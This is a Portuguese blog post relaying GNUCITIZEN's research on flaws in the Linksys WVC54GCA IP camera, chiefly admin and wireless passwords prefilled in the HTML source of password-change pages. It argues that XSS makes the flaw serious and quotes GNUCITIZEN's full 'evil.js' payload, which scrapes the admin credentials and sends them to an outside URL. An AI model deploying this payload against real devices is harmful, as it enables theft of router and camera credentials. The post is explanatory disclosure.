
Nos últimos dias, o site GNUCITIZEN esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema do roteador apenas definindo seu path e nome pela URL
Os posts podem ser lidos aqui: Parte 1, Parte 2, Parte 3, Parte 4. Eu recomendo!
Mas o que gostaria de destacar disso tudo está na parte 4. Eu gosto de alertar sobre vulnerabilidades que muitos considerariam de baixo (ou nenhum) risco. O que podemos tirar do exemplo do WVC54GCA acontece em diversos roteadores e até websites.
Segundo o site GNUCITIZEN, na página de mudança de senha da câmera ( /adm/file.cgi?next_file=pass_wd.htm ) o campo que define a mesma já vem previamente preenchido (contendo a senha atual). Apesar de o tipo do campo ser definido como password (veja, abaixo, em azul), isto não a protege, uma vez que o valor informado no campo pode ser lido visualizando o código HTML da página (Na maioria dos navegadores: Exibir > Código Fonte).
<input type="password" size="8" maxlength="64" name="admpw" value="SenhaAqui" onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">
O mesmo ocorre na página de mudança da senha Wireless.
Agora, o questionamento principal: Por que não dão a devida importancia a este tipo de falha? O pessoal do GNUCITIZEN respondeu incrivelmente:
No caso da senha da wireless, eles (aqueles que acreditam que a falha não apresenta risco) dizem que seria possível captura-la por outros meios (como, por exemplo, usando as ferramentas do Aircrack Suite) e, principalmente, que para estar lendo aquilo, o “hacker” já deveria estar na rede, ou seja, já saberia a senha wireless. Estão errados!
Já quanto a senha do administrador, o argumento usado é que já que não há suporte a HTTPS (SSL), a conexão não é criptografada, por tanto, qualquer pessoa capturando pacotes da rede (sniffing) poderia capturar a navegação do administrador, que contém, no cabeçalho, a autenticação (em base64). Novamente, errados!
O ponto chave da questão é que não consideraram o tipo da falha que mais venho martelando aqui no blog: Cross-site Scripting (XSS).
Qualquer possibilidade de injeção de um JavaScript no navegador de um administrador do roteador já seria o bastante para que ele, involuntariamente, enviasse a senha de administrador\da wireless para um script qualquer, na web. E este exploit só funcionaria porque o produto em questão retorna a senha em texto puro, já que ele simplesmente entraria (usando ajax) na página de mudança de senha, leria o código fonte utilizando filtros e retornaria o resultado.
Um exploit de exemplo, para este modelo, foi escrito pelo GNUCITIZEN. Aqui está ele:
// evil.js : malicious JS file, typically located on attacker's site // payload description: steals Linksys WVC54GCA admin password via XSS // tested on FF3 and IE7 // based on code from developer.apple.com function loadXMLDoc(url) { req = false; // branch for native XMLHttpRequest object if(window.XMLHttpRequest && !(window.ActiveXObject)) { try { req = new XMLHttpRequest(); } catch(e) { req = false; } } // branch for IE/Windows ActiveX version else if(window.ActiveXObject) { try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { req = false; } } } if(req) { req.onreadystatechange = processReqChange; req.open("GET", url, true); req.send(""); } } // end of loadXMLDoc(url) function processReqChange() { // only if req shows "loaded" if (req.readyState == 4) { // only if "OK" if (req.status == 200) { var bits=req.responseText.split(/\"/); var gems=""; // dirty credentials-scraping code for (i=0;i<bits.length;++i) { if(bits[i]=="adm" && bits[i+1]==" value=") { gems+="login="; gems+=bits[i+2]; } if(bits[i]=="admpw" && bits[i+1]==" value=") { gems+='&password='; gems+=bits[i+2]; } } alert(gems); // this line is for demo purposes only and would be removed in a real attack c=new Image(); c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site } } } var url="/adm/file.cgi?next_file=pass_wd.htm"; loadXMLDoc(url);
Fonte: GNUCITIZEN